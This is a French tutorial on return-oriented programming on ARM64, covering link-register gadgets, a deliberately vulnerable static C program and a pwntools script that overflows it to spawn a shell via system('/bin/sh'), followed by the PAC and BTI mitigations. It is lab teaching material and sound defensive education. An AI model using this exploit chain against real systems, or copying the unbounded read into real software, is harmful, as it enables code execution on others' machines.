ROP sur ARM64 : les gadgets et le registre de lien
Les gadgets AArch64 finissent par ret, qui branche vers x30 : la chaîne s'enfile dans le registre de lien via des gadgets ldp. Puis PAC et BTI la brisent.
Ceci est le deuxième tutoriel de l'espace Exploitation ARM64. Le guide précédent détournait un registre de lien sauvegardé pour atteindre une fonction win(). Ici il n'y en a aucune, alors nous chaînons du code existant — ROP — mais la mécanique change car ret branche vers x30, pas vers un emplacement de pile.
Votre propre binaire, labo jetable. Voir les règles du labo.
La chaîne circule à travers le registre de lien
Sur x86-64, ret dépile l'adresse du gadget suivant depuis la pile : une chaîne est donc simplement une liste d'adresses (voir le guide ROP x86). Sur AArch64, ret branche vers x30. Pour exécuter gadget après gadget, chaque gadget doit recharger x30 depuis la pile avant son ret. Le gadget de base est l'épilogue de fonction ordinaire :
ldp x29, x30, [sp], #0x10 ; load next gadget address into x30 from the stack
ret ; branch to it
Une chaîne AArch64 est donc une séquence d'entrées de pile que le ldp de chaque gadget tire dans x30, entrelacées avec les valeurs d'arguments que d'autres gadgets chargent :
ldp x29,x30,[sp],#0x10 ; retcharge le gadget suivant dans x30ldp x0,x1,[sp],#0x10 ; retcharge x0 = &"/bin/sh"system (in libc)appelé avec x0 = "/bin/sh"Charger les arguments
Les arguments vivent dans x0–x7. Il vous faut des gadgets qui les chargent depuis la pile :
$ ROPgadget --binary vuln | grep -E 'ldp x0, x1, .*ret'
0x... : ldp x0, x1, [sp], #0x10 ; ret
$ ROPgadget --binary vuln | grep -E 'ldr x0, \[sp.*ret'
0x... : ldr x0, [sp, #0x8] ; ret
Pour system("/bin/sh") vous chargez x0 avec un pointeur vers la chaîne et branchez dans system.
La cible et la chaîne
/* vuln.c — AArch64, static, mitigations off. */
#include <unistd.h>
void vuln(void){ char b[64]; read(0, b, 512); }
int main(void){ setvbuf(stdout,0,2,0); vuln(); return 0; }
aarch64-linux-gnu-gcc -static -fno-stack-protector -no-pie \
-mbranch-protection=none -O0 -g -o vuln vuln.c
pwntools comprend les gadgets AArch64 et agence la chaîne du registre de lien :
# arm_rop.py
from pwn import *
context.binary = elf = ELF("./vuln") # context.arch = 'aarch64'
libc = elf # static: system + "/bin/sh" inside
rop = ROP(elf)
binsh = next(elf.search(b"/bin/sh\x00"))
rop.call(elf.symbols["system"], [binsh]) # loads x0, branches to system
info(rop.dump())
payload = flat({72: rop.chain()}) # 72 = offset to saved lr
io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./vuln"])
io.send(payload)
io.interactive()
Le premier gadget ldp … ret (atteint via le x30 sauvegardé écrasé) tire le gadget suivant dans x30 ; celui-ci charge x0 ; le dernier branchement entre dans system. Même objectif que sur x86 — system("/bin/sh") — atteint en enfilant la chaîne à travers le registre de lien plutôt que par le pointeur de pile.
La rareté des gadgets est réelle sur ARM
AArch64 est à largeur fixe (4 octets) sans décodage non aligné : vous ne pouvez donc pas tailler de gadgets depuis le milieu des instructions comme sur x86. L'offre de gadgets est plus réduite. Quand elle vient à manquer, les attaquants se rabattent sur la réutilisation de fonctions entières (ret2libc) — qui sur ARM est souvent la voie la plus facile — ou sur des astuces de trame de signal.
Réactiver les mitigations
Les défenses ARM contre la réutilisation de code sont des fonctionnalités matérielles qui s'attaquent directement à la chaîne :
| Mitigation | Effet sur la chaîne |
|---|---|
| Canari de pile | Arrête le débordement avant le premier ldp/ret |
| PIE + ASLR | Rend les gadgets aléatoires ; nécessite une fuite |
PAC (pac-ret) | Chaque ret protégé authentifie x30 ; un registre de lien falsifié déclenche une faute |
| BTI | Les branchements indirects doivent atterrir sur une instruction bti ; les gadgets en milieu de fonction sont des cibles invalides |
PAC et BTI font tous deux l'objet du guide suivant. En résumé : PAC brise l'arête arrière (les retours), BTI brise l'arête avant (les sauts/appels indirects), et ensemble ils rendent la réutilisation de code sur ARM nettement plus difficile que sur x86-64 standard.
Ce que cela apprend à un défenseur
- La chaîne du registre de lien est la signature ARM. Reconnaître les gadgets
ldp x29, x30, [sp], …dans une chaîne, c'est savoir lire l'exploitation AArch64. Côté défense, ce sont exactement les retours que PAC signe. - Livrez
-mbranch-protection=standard. Il active à la fois PAC et BTI. Sur du matériel ARMv8.3+ c'est la mesure unique la plus efficace contre la technique de ce guide. - Un ISA à largeur fixe aide, un peu. Moins de gadgets est un bénéfice réel (bien que secondaire) d'AArch64. Ne comptez pas dessus — les gros binaires en ont encore assez — mais des builds épurés, statiques au minimum, amplifient l'effet.
Points clés à retenir
- Le
retd'AArch64 branche versx30: une chaîne ROP recharge doncx30depuis la pile à chaque étape via des gadgetsldp x29, x30, [sp], #N ; ret. - Les arguments sont chargés dans
x0–x7avec des gadgetsldp/ldr;system("/bin/sh")requiert quex0soit positionné. - Les instructions à largeur fixe rendent les gadgets plus rares que sur x86, poussant les attaquants vers ret2libc.
- PAC (arête arrière) et BTI (arête avant) sont les mitigations ARM conçues pour briser cela — traitées ensuite.
Suite : PAC et BTI, les défenses d'authentification de pointeur et de cible de branchement qui font échouer cette chaîne.